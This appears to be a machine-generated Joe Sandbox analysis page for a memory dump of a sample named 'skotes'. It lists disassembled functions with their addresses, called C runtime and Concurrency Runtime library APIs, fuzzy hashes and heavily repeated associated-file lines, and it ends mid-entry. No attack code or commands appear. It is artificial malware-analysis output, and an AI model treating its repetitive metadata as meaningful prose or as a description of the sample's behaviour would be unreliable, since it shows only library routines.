Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: bba2fa80a67b488d405a278f15409ae4c3528dd73627fc130c41e0466cd99a80
Instruction ID: e3ab0c5c4a4c0a75f6dc134c4aef661fb9db5e4f96c61a8a240f7b27b45ddb3e
Opcode Fuzzy Hash: bba2fa80a67b488d405a278f15409ae4c3528dd73627fc130c41e0466cd99a80
Instruction Fuzzy Hash: 0301D661AC7B11A9FA313BB55F01EAB25CC9F52B84F091510BE05F75A4EEA0DC016DB1

Function 00AE4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00AE4C98
__alloca_probe_16.LIBCMT ref: 00AE4D5E
__freea.LIBCMT ref: 00AE4DCA

Part of subcall function 00ADB04B: RtlAllocateHeap.NTDLL(00000000,61AD01A7,?,?,00ABD3FC,61AD01A7,?,00AB7A8B,?,?,?,?,?,?,00AA7465,?), ref: 00ADB07E

__freea.LIBCMT ref: 00AE4DD3
__freea.LIBCMT ref: 00AE4DF6

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 114c850bd6ac0f486fd2398bbd217535ba2e07443db582b528e3882f517478e3
Instruction ID: 5791255feef5ee82840da4846706fffbd7d4cbccff9d8f2c71af2d450d557d0d
Opcode Fuzzy Hash: 114c850bd6ac0f486fd2398bbd217535ba2e07443db582b528e3882f517478e3
Instruction Fuzzy Hash: A151D472600256AFEB219F66DD81FBB37ADDF88750F264629FD05A7241EB30DC1096A0

Function 00ACE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00ACE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ACE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ACE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00ACE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00ACE9DC

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 5a235fb3421a6eb8444ec35ee5bd067c73c5ba5a0b27167982f58096158ec49f
Instruction ID: f832ba53d1a4a6486a1bb1b0087c13799cf1f1d62b9fb521deeafab57f2ba2b4
Opcode Fuzzy Hash: 5a235fb3421a6eb8444ec35ee5bd067c73c5ba5a0b27167982f58096158ec49f
Instruction Fuzzy Hash: A8414A35A00219EFCB09DFA4C954BADBBB6FF88310F05815DE946A7391CB34AE01CB91

Function 00ABECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ABECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ABED17

Part of subcall function 00ABF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ABF3FA

__alloca_probe_16.LIBCMT ref: 00ABED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00ABED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ABEDC6

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 5424cd41ad20c545492153f12f4e15e5e124b202d7d81a34c98dda1ebc6c9ac9
Instruction ID: 6ddeb93d36bb98a46a69f4867b23ec83230f349cb69a528618e36496973be0fd
Opcode Fuzzy Hash: 5424cd41ad20c545492153f12f4e15e5e124b202d7d81a34c98dda1ebc6c9ac9
Instruction Fuzzy Hash: 4D318B71A002158FDB15DFA8C9416EEB7F8AF09310B64406EE845E7392DBB49E02CBA1

Function 00ACD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00ACD344
ListArray.LIBCONCRT ref: 00ACD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ACD370
ListArray.LIBCONCRT ref: 00ACD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00ACD3B3

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: e6fb1dca286e6e84497b279daf5fecf6f4f2dda7411b5c3d56072c76a8283081
Instruction ID: aa53edcbf8331fcd41b22d25818a77e9d8919c7005fc29d8f989bc3b512178d1
Opcode Fuzzy Hash: e6fb1dca286e6e84497b279daf5fecf6f4f2dda7411b5c3d56072c76a8283081
Instruction Fuzzy Hash: 1D318035700210AFCB05EB54C985FADB7B5AF88310F1641ADE80A9F392DB70ED41CB92

Function 00AC86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00AC86EE

Part of subcall function 00ABEAD0: _SpinWait.LIBCONCRT ref: 00ABEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00AC8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AC8734
List.LIBCMT ref: 00AC87B7
List.LIBCMT ref: 00AC87C6

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 060ccfa9b62ba8dccb58d5afee74c60230937b44a3f2b0325e970acc1c60cbdd
Instruction ID: f039d2ed2accca6312df9a83204189538a4eadbd4c804b17f0f37e48f9b8cba4
Opcode Fuzzy Hash: 060ccfa9b62ba8dccb58d5afee74c60230937b44a3f2b0325e970acc1c60cbdd
Instruction Fuzzy Hash: 6F316836905255DFCB14EFA4CA81AEDBBB1BF04718F2A406ED40177652EF396D14CB90

Function 00AD182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AD18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00AD18EB

Strings

